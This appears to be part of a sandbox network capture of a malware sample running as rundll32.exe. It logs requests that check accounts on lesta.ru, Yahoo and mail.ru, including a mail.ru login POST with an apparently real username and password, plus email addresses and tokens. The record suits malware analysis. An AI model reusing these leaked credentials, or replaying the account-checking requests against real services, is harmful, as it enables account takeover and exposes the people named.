bkng_ap_sso_session=eyJib29raW5nX2dsb2JhbCI6eyJzZXNzaW9ucyI6W10sImRhdGFfc3ViamVj
2023-12-10 16:49:13 UTC	119	IN	Data Raw: 37 31 0d 0a 7b 22 6e 65 78 74 53 74 65 70 22 3a 22 53 54 45 50 5f 41 43 43 4f 55 4e 54 5f 5f 4c 4f 43 4b 45 44 22 2c 22 69 64 65 6e 74 69 66 69 65 72 22 3a 7b 22 76 61 6c 75 65 22 3a 22 62 6f 74 6c 6f 2e 6c 75 62 6f 73 40 70 6f 62 6f 78 2e 73 6b 22 2c 22 74 79 70 65 22 3a 22 49 44 45 4e 54 49 46 49 45 52 5f 54 59 50 45 5f 5f 45 4d 41 49 4c 22 7d 7d 0d 0a Data Ascii: 71{"nextStep":"STEP_ACCOUNT__LOCKED","identifier":{"value":"botlo.lubos@pobox.sk","type":"IDENTIFIER_TYPE__EMAIL"}}
2023-12-10 16:49:13 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49842	95.181.181.87	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:49:13 UTC	459	OUT	GET /id/state.json/ HTTP/1.1 Host: lesta.ru Keep-Alive: 300 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 YaBrowser/20.9.3.136 Yowser/2.5 Safari/537.36 accept: application/json, text/javascript, /; q=0.01 accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7 referer: https://eu.wargaming.net/id/signin/ x-requested-with: XMLHttpRequest Accept-Encoding: gzip, deflate
2023-12-10 16:49:16 UTC	2627	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 39 3a 31 36 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 37 34 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 4c 61 6e 67 75 61 67 65 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 10 Dec 2023 16:49:16 GMTContent-Type: application/x-javascript; charset=utf-8Content-Length: 1742Connection: closeVary: Accept-EncodingVary: Accept-EncodingX-Frame-Options: DENYVary: Accept-Language
2023-12-10 16:49:16 UTC	1742	IN	Data Raw: 7b 22 47 65 6e 65 72 61 6c 22 3a 20 7b 22 4c 61 6e 67 75 61 67 65 43 6f 64 65 22 3a 20 22 72 75 22 7d 2c 20 22 52 65 71 75 65 73 74 22 3a 20 7b 22 41 63 63 6f 75 6e 74 49 6e 66 6f 22 3a 20 7b 22 4c 6f 67 69 6e 22 3a 20 6e 75 6c 6c 2c 20 22 45 6d 61 69 6c 22 3a 20 6e 75 6c 6c 2c 20 22 49 73 41 75 74 68 65 6e 74 69 63 61 74 65 64 22 3a 20 66 61 6c 73 65 2c 20 22 42 61 6e 22 3a 20 6e 75 6c 6c 2c 20 22 54 65 6c 65 70 6f 72 74 52 65 71 75 69 72 65 64 22 3a 20 66 61 6c 73 65 2c 20 22 52 65 63 6f 76 65 72 79 52 65 71 75 69 72 65 64 22 3a 20 66 61 6c 73 65 7d 2c 20 22 48 61 73 53 74 61 66 66 49 70 22 3a 20 66 61 6c 73 65 2c 20 22 43 53 52 46 5f 54 4f 4b 45 4e 22 3a 20 22 56 4f 48 59 4c 6e 59 4b 6d 6d 53 67 54 59 69 43 67 68 4f 66 6a 35 65 68 75 6b 47 4e 57 33 58 Data Ascii: {"General": {"LanguageCode": "ru"}, "Request": {"AccountInfo": {"Login": null, "Email": null, "IsAuthenticated": false, "Ban": null, "TeleportRequired": false, "RecoveryRequired": false}, "HasStaffIp": false, "CSRF_TOKEN": "VOHYLnYKmmSgTYiCghOfj5ehukGNW3X

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49846	162.19.169.11	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:49:14 UTC	67	OUT	GET /ip HTTP/1.1 Host: fingerprints.bablosoft.com Accept: /
2023-12-10 16:49:15 UTC	566	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 39 3a 31 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 35 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 45 78 70 72 65 73 73 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4d 65 74 68 6f 64 73 3a 20 47 45 54 2c 20 50 4f 53 54 2c 20 50 55 54 2c 20 44 45 4c 45 54 45 2c 20 50 41 54 43 48 2c 20 4f 50 54 49 4f 4e 53 0d 0a 41 63 63 65 73 73 Data Ascii: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 10 Dec 2023 16:49:14 GMTContent-Length: 15Connection: closeX-Powered-By: ExpressAccess-Control-Allow-Origin: *Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONSAccess
2023-12-10 16:49:15 UTC	15	IN	Data Raw: 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 31 32 Data Ascii: 102.129.152.212

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49851	66.218.84.137	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:49:16 UTC	875	OUT	GET /search;_ylt=AwrEpecD7HVl19ArcA1XNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=78&pz=7&bct=0&xargs=0 HTTP/1.1 Host: search.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A3=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A1S=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; PROMO=ono_sc=3&ono_fts=1702226896&ltv_pid=sfp&ltv_new=1&ltv_ts=1702226896&ltv_sts=1702226947&ltv_c=11 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:49:16 UTC	2097	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 39 3a 31 36 20 47 4d 54 0d 0a 70 33 70 3a 20 70 6f 6c 69 63 79 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 6f 6c 69 63 69 65 73 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 77 33 63 2f 70 33 70 2e 78 6d 6c 22 2c 20 43 50 3d 22 43 41 4f 20 44 53 50 20 43 4f 52 20 43 55 52 20 41 44 4d 20 44 45 56 20 54 41 49 20 50 53 41 20 50 53 44 20 49 56 41 69 20 49 56 44 69 20 43 4f 4e 69 20 54 45 4c 6f 20 4f 54 50 69 20 4f 55 52 20 44 45 4c 69 20 53 41 4d 69 20 4f 54 52 69 20 55 4e 52 69 20 50 55 42 69 20 49 4e 44 20 50 48 59 20 4f 4e 4c 20 55 4e 49 20 50 55 52 20 46 49 4e 20 43 4f 4d 20 4e 41 56 20 49 4e 54 20 44 45 4d 20 43 4e 54 20 53 54 41 20 50 4f Data Ascii: HTTP/1.1 200 OKdate: Sun, 10 Dec 2023 16:49:16 GMTp3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA PO
2023-12-10 16:49:16 UTC	3909	IN	Data Raw: 32 64 65 66 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 64 3d 22 61 74 6f 6d 69 63 22 20 63 6c 61 73 73 3d 22 4e 6f 4a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 64 6e 73 2d 70 72 65 66 65 74 63 68 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 6e 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d Data Ascii: 2def<!doctype html><html id="atomic" class="NoJs" lang="en-US"><head><meta http-equiv="x-dns-prefetch-control" content="on"><meta http-equiv="content-type" content="text/html; charset=UTF-8"><link rel="apple-touch-icon" sizes="76x76" href="https://s.yim
2023-12-10 16:49:16 UTC	7176	IN	Data Raw: 28 65 29 7b 76 61 72 20 74 3b 69 26 26 69 3c 39 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 65 2e 63 72 65 61 74 65 54 65 78 74 52 61 6e 67 65 3f 28 28 74 3d 65 2e 63 72 65 61 74 65 54 65 78 74 52 61 6e 67 65 28 29 29 2e 63 6f 6c 6c 61 70 73 65 28 21 31 29 2c 74 2e 73 65 6c 65 63 74 28 29 29 3a 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 65 2e 73 65 6c 65 63 74 69 6f 6e 53 74 61 72 74 26 26 28 65 2e 73 65 6c 65 63 74 69 6f 6e 53 74 61 72 74 3d 65 2e 73 65 6c 65 63 74 69 6f 6e 45 6e 64 3d 65 2e 76 61 6c 75 65 2e 6c 65 6e 67 74 68 29 7d 66 75 6e 63 74 69 6f 6e 20 6c 28 65 29 7b 22 66 6f 63 75 73 22 69 6e 20 65 26 26 65 2e 66 6f 63 75 73 28 29 7d 66 75 6e 63 74 69 6f 6e 20 64 28 65 2c 74 2c 6e 2c 6f 29 7b 69 66 28 6f 3d 6f 7c 7c Data Ascii: (e){var t;i&&i<9&&"undefined"!=typeof e.createTextRange?((t=e.createTextRange()).collapse(!1),t.select()):"number"==typeof e.selectionStart&&(e.selectionStart=e.selectionEnd=e.value.length)}function l(e){"focus"in e&&e.focus()}function d(e,t,n,o){if(o=o\|\|
2023-12-10 16:49:16 UTC	14480	IN	Data Raw: 26 26 62 28 72 29 29 2c 63 2e 72 65 66 65 72 72 65 72 70 6f 6c 69 63 79 26 26 79 28 74 3d 74 7c 7c 72 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 72 65 66 65 72 72 65 72 70 6f 6c 69 63 79 22 29 29 3b 62 72 65 61 6b 7d 72 3d 72 2e 70 61 72 65 6e 74 4e 6f 64 65 7d 72 65 74 75 72 6e 21 30 7d 2c 69 6e 69 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 63 3d 65 2c 74 68 69 73 2e 69 6e 6a 65 63 74 59 6c 63 3d 64 2c 63 2e 63 62 63 6c 6b 5f 72 65 67 65 78 70 26 26 28 69 3d 6e 65 77 20 52 65 67 45 78 70 28 63 2e 63 62 63 6c 6b 5f 72 65 67 65 78 70 29 29 2c 63 2e 79 6c 63 50 61 72 61 6d 26 26 28 75 2e 61 65 28 6e 2c 22 6d 6f 75 73 65 64 6f 77 6e 22 2c 74 68 69 73 2e 6d 64 65 68 29 2c 74 3d 21 30 29 7d 2c 64 65 73 74 72 6f 79 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 26 26 Data Ascii: &&b(r)),c.referrerpolicy&&y(t=t\|\|r.getAttribute("referrerpolicy"));break}r=r.parentNode}return!0},init:function(e){c=e,this.injectYlc=d,c.cbclk_regexp&&(i=new RegExp(c.cbclk_regexp)),c.ylcParam&&(u.ae(n,"mousedown",this.mdeh),t=!0)},destroy:function(){t&&
2023-12-10 16:49:16 UTC	11112	IN	Data Raw: 5b 70 2c 69 2c 64 2c 68 2c 72 2b 6c 2b 63 5d 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 65 6c 73 65 20 65 2e 74 69 74 6c 65 3d 43 28 74 2e 6c 65 61 67 75 65 5f 74 6d 70 6c 2c 5b 70 2c 68 2c 76 2e 74 6f 4c 6f 63 61 6c 65 53 74 72 69 6e 67 28 5b 5d 2c 7b 64 61 79 3a 22 6e 75 6d 65 72 69 63 22 2c 6d 6f 6e 74 68 3a 22 73 68 6f 72 74 22 2c 68 6f 75 72 3a 22 32 2d 64 69 67 69 74 22 2c 6d 69 6e 75 74 65 3a 22 32 2d 64 69 67 69 74 22 2c 74 69 6d 65 5a 6f 6e 65 4e 61 6d 65 3a 22 73 68 6f 72 74 22 2c 74 69 6d 65 5a 6f 6e 65 3a 65 2e 74 7a 7d 29 5d 29 3b 65 6c 73 65 7b 74 72 79 7b 65 2e 74 69 74 6c 65 3d 79 3f 43 28 74 2e 6c 5f 74 6d 70 6c 2c 5b 75 2c 66 2c 68 2c 6d 2c 67 5d 29 2b 27 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 27 2b 74 2e 6c 69 76 65 49 63 6f 6e 43 6c 61 73 Data Ascii: [p,i,d,h,r+l+c]))}catch(e){}else e.title=C(t.league_tmpl,[p,h,v.toLocaleString([],{day:"numeric",month:"short",hour:"2-digit",minute:"2-digit",timeZoneName:"short",timeZone:e.tz})]);else{try{e.title=y?C(t.l_tmpl,[u,f,h,m,g])+'<span class="'+t.liveIconClas
2023-12-10 16:49:16 UTC	12056	IN	Data Raw: 2e 64 61 74 61 2e 6b 2c 70 2e 73 68 6f 77 28 29 2c 53 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 65 29 29 7d 65 6c 73 65 20 39 3d 3d 74 26 26 28 68 2e 73 65 6c 65 63 74 69 6f 6e 45 6e 64 3d 68 2e 73 65 6c 65 63 74 69 6f 6e 53 74 61 72 74 3d 68 2e 76 61 6c 75 65 2e 6c 65 6e 67 74 68 2c 53 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 65 29 29 7d 7d 7d 29 2c 65 26 26 28 38 3d 3d 3d 65 26 26 53 2e 61 65 28 68 2c 22 70 72 6f 70 65 72 74 79 63 68 61 6e 67 65 22 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 22 76 61 6c 75 65 22 3d 3d 3d 65 2e 70 72 6f 70 65 72 74 79 4e 61 6d 65 26 26 21 30 21 3d 3d 75 26 26 70 2e 73 68 6f 77 28 29 2c 75 3d 21 31 7d 29 2c 39 3d 3d 3d 65 29 26 26 28 6c 2e 6f 6e 53 65 6c 63 74 69 6f 6e 43 68 61 6e 67 65 3d 66 75 6e 63 74 69 Data Ascii: .data.k,p.show(),S.stopPropagation(e))}else 9==t&&(h.selectionEnd=h.selectionStart=h.value.length,S.stopPropagation(e))}}}),e&&(8===e&&S.ae(h,"propertychange",function(e){"value"===e.propertyName&&!0!==u&&p.show(),u=!1}),9===e)&&(l.onSelctionChange=functi
2023-12-10 16:49:16 UTC	16384	IN	Data Raw: 72 79 28 29 7c 7c 28 65 2e 6c 61 73 74 49 6e 70 75 74 3d 69 2c 73 3c 74 2e 6d 69 6e 49 6e 70 75 74 7c 7c 73 3e 74 2e 6d 61 78 49 6e 70 75 74 3f 65 2e 68 69 64 65 28 29 3a 28 65 2e 6d 6f 64 65 6c 2e 66 65 74 63 68 28 29 2c 65 2e 74 72 69 67 67 65 72 65 64 3d 21 30 29 29 7d 2c 68 69 64 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 74 3d 28 73 3d 65 2e 65 6c 65 6d 73 29 2e 73 62 49 6e 70 75 74 2c 69 3d 73 2e 73 61 41 72 69 61 2c 73 3d 73 2e 73 62 46 6f 72 6d 2c 6e 3d 65 2e 63 6f 6e 66 69 67 2c 61 3d 65 2e 61 70 70 3b 61 2e 6e 6f 74 69 66 79 28 6d 29 2c 53 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 77 2e 62 6f 64 79 2c 6e 2e 74 79 70 69 6e 67 43 6c 61 73 73 29 2c 73 26 26 73 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 26 26 53 2e 72 65 6d Data Ascii: ry()\|\|(e.lastInput=i,s<t.minInput\|\|s>t.maxInput?e.hide():(e.model.fetch(),e.triggered=!0))},hide:function(){var e=this,t=(s=e.elems).sbInput,i=s.saAria,s=s.sbForm,n=e.config,a=e.app;a.notify(m),S.removeClass(w.body,n.typingClass),s&&s.parentElement&&S.rem
2023-12-10 16:49:16 UTC	3888	IN	Data Raw: 22 41 22 2c 70 55 72 6c 29 3a 22 22 7d 3b 69 66 28 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 29 20 7b 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 20 66 75 6e 63 74 69 6f 6e 28 29 7b 53 4c 42 28 22 22 2c 70 55 72 6c 29 7d 29 3b 7d 65 6c 73 65 7b 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 53 4c 42 28 22 22 2c 70 55 72 6c 29 7d 3b 7d 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 68 3d 64 6f 63 75 6d 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 45 6c 65 6d 65 6e 74 3b 68 2e 63 6c 61 73 73 4e 61 6d 65 2b 3d 22 20 6a 73 22 3b 28 6e 65 77 20 49 6d 61 67 65 28 29 29 2e 73 72 63 3d 27 27 3b 7d 29 28 29 3b 3c 2f 73 63 72 69 70 74 3e 3c 74 69 74 6c 65 3e 48 53 41 20 Data Ascii: "A",pUrl):""};if(window.addEventListener) {window.addEventListener("load", function(){SLB("",pUrl)});}else{window.onload=function(){SLB("",pUrl)};}(function(){var h=document.documentElement;h.className+=" js";(new Image()).src='';})();</script><title>HSA
2023-12-10 16:49:16 UTC	440	IN	Data Raw: 75 6c 74 73 20 23 63 6f 6c 73 20 2e 63 6f 6d 70 54 69 74 6c 65 20 68 33 2e 74 69 74 6c 65 20 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 31 61 30 64 61 62 20 21 69 6d 70 6f 72 74 61 6e 74 7d 23 72 65 73 75 6c 74 73 20 2e 63 6f 6d 70 4c 69 73 74 20 61 3a 68 6f 76 65 72 2c 20 23 72 65 73 75 6c 74 73 20 2e 63 6f 6d 70 54 61 62 6c 65 20 61 3a 68 6f 76 65 72 2c 20 23 72 65 73 75 6c 74 73 20 2e 63 6f 6d 70 44 6c 69 6e 6b 20 61 3a 68 6f 76 65 72 2c 20 23 72 65 73 75 6c 74 73 20 23 72 69 67 68 74 20 2e 63 6f 6d 70 49 6d 61 67 65 4c 69 73 74 20 2e 69 6d 67 62 6f 78 20 61 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 31 61 30 64 61 62 7d 23 6d 61 69 6e 20 2e 6c 61 73 74 20 2e 64 64 20 2e 63 6f 6d 70 44 6c 69 6e 6b 20 61 3a 68 6f 76 65 72 2c 20 23 72 69 67 68 74 20 2e Data Ascii: ults #cols .compTitle h3.title a:hover{color:#1a0dab !important}#results .compList a:hover, #results .compTable a:hover, #results .compDlink a:hover, #results #right .compImageList .imgbox a:hover{color:#1a0dab}#main .last .dd .compDlink a:hover, #right .
2023-12-10 16:49:16 UTC	16384	IN	Data Raw: 2e 6c 61 79 6f 75 74 4d 69 64 64 6c 65 20 2e 6c 61 79 6f 75 74 43 65 6e 74 65 72 20 2e 63 6f 6d 70 54 65 78 74 20 73 70 61 6e 2c 20 2e 70 61 67 69 6e 61 74 69 6f 6e 20 2e 63 6f 6d 70 50 61 67 69 6e 61 74 69 6f 6e 20 73 70 61 6e 2c 20 23 72 65 73 75 6c 74 73 20 23 6c 65 66 74 20 70 20 61 2c 20 23 72 65 73 75 6c 74 73 20 23 72 69 67 68 74 20 70 20 61 2e 66 63 2d 31 73 74 2c 20 23 72 65 73 75 6c 74 73 20 2e 73 65 61 72 63 68 43 65 6e 74 65 72 46 6f 6f 74 65 72 20 68 33 2e 74 69 74 6c 65 2c 20 23 72 65 73 75 6c 74 73 20 68 35 2e 74 69 74 6c 65 20 61 2c 20 23 72 65 73 75 6c 74 73 20 68 35 2e 74 69 74 6c 65 20 73 70 61 6e 2c 23 72 65 73 75 6c 74 73 20 2e 4c 6f 63 61 6c 50 63 2d 4c 52 52 75 20 2e 72 61 74 69 6e 67 20 61 2c 23 72 65 73 75 6c 74 73 20 2e 4c 6f 63 Data Ascii: .layoutMiddle .layoutCenter .compText span, .pagination .compPagination span, #results #left p a, #results #right p a.fc-1st, #results .searchCenterFooter h3.title, #results h5.title a, #results h5.title span,#results .LocalPc-LRRu .rating a,#results .Loc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49856	165.227.126.8	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:49:17 UTC	68	OUT	GET /?name=Youssef HTTP/1.1 Host: api.genderize.io Accept: /
2023-12-10 16:49:18 UTC	499	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 39 3a 31 37 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 36 37 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 61 6c 6c 6f 77 2d 63 72 65 64 65 6e 74 69 61 6c 73 3a 20 74 72 75 65 0d 0a 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 61 6c 6c 6f 77 2d 6f 72 69 67 69 6e 3a 20 2a 0d 0a 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 65 78 70 6f 73 65 Data Ascii: HTTP/1.1 200 OKServer: nginx/1.16.1Date: Sun, 10 Dec 2023 16:49:17 GMTContent-Type: application/json; charset=utf-8Content-Length: 67Connection: closeaccess-control-allow-credentials: trueaccess-control-allow-origin: *access-control-expose
2023-12-10 16:49:18 UTC	67	IN	Data Raw: 7b 22 63 6f 75 6e 74 22 3a 38 35 39 39 30 2c 22 6e 61 6d 65 22 3a 22 59 6f 75 73 73 65 66 22 2c 22 67 65 6e 64 65 72 22 3a 22 6d 61 6c 65 22 2c 22 70 72 6f 62 61 62 69 6c 69 74 79 22 3a 30 2e 39 39 7d Data Ascii: {"count":85990,"name":"Youssef","gender":"male","probability":0.99}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.6	49861	217.69.139.60	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:49:20 UTC	29	OUT	POST /cgi-bin/auth HTTP/1.1
2023-12-10 16:49:21 UTC	246	OUT	Data Raw: 48 6f 73 74 3a 20 61 75 74 68 2e 6d 61 69 6c 2e 72 75 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 67 7a 69 70 2c 64 65 66 6c 61 74 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f 64 65 64 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 39 34 0d 0a 55 73 65 72 2d 41 67 65 6e 74 3a 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 4f 57 36 34 3b 20 72 76 3a 35 32 2e 30 29 20 47 65 63 6b 6f 2f 32 30 31 30 30 31 30 31 20 46 69 72 65 66 6f 78 2f 35 32 2e 30 0d 0a 41 63 63 65 70 74 3a 20 2a 2f 2a 0d 0a 0d 0a Data Ascii: Host: auth.mail.ruConnection: keep-aliveAccept-Encoding: gzip,deflateContent-Type: application/x-www-form-urlencodedContent-Length: 94User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0Accept: /
2023-12-10 16:49:21 UTC	94	OUT	Data Raw: 70 6f 73 74 3d 26 6c 6f 67 69 6e 5f 66 72 6f 6d 3d 26 6e 65 77 5f 61 75 74 68 5f 66 6f 72 6d 3d 31 26 73 61 76 65 61 75 74 68 3d 31 26 4c 6f 67 69 6e 3d 73 61 6d 6c 65 65 26 44 6f 6d 61 69 6e 3d 6d 61 69 6c 2e 72 75 26 50 61 73 73 77 6f 72 64 3d 64 69 61 67 65 6f 32 30 31 39 31 33 Data Ascii: post=&login_from=&new_auth_form=1&saveauth=1&Login=samlee&Domain=mail.ru&Password=diageo201913
2023-12-10 16:49:21 UTC	945	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 39 3a 32 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 50 33 50 3a 20 43 50 3d 22 4e 4f 4e 20 43 55 52 20 4f 55 52 20 49 4e 44 20 55 4e 49 20 49 4e 54 22 0d 0a 4c 6f 63 61 74 69 6f 6e 3a 20 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 2e 6d 61 69 6c 2e 72 75 2f 6c 6f 67 69 6e 3f 26 66 61 69 6c 3d 31 26 65 6d 61 69 6c 3d 73 61 6d 6c 65 65 25 34 30 6d 61 69 6c 2e 72 75 26 63 61 70 74 63 Data Ascii: HTTP/1.1 302 FoundServer: nginxDate: Sun, 10 Dec 2023 16:49:21 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeP3P: CP="NON CUR OUR IND UNI INT"Location: https://account.mail.ru/login?&fail=1&email=samlee%40mail.ru&captc
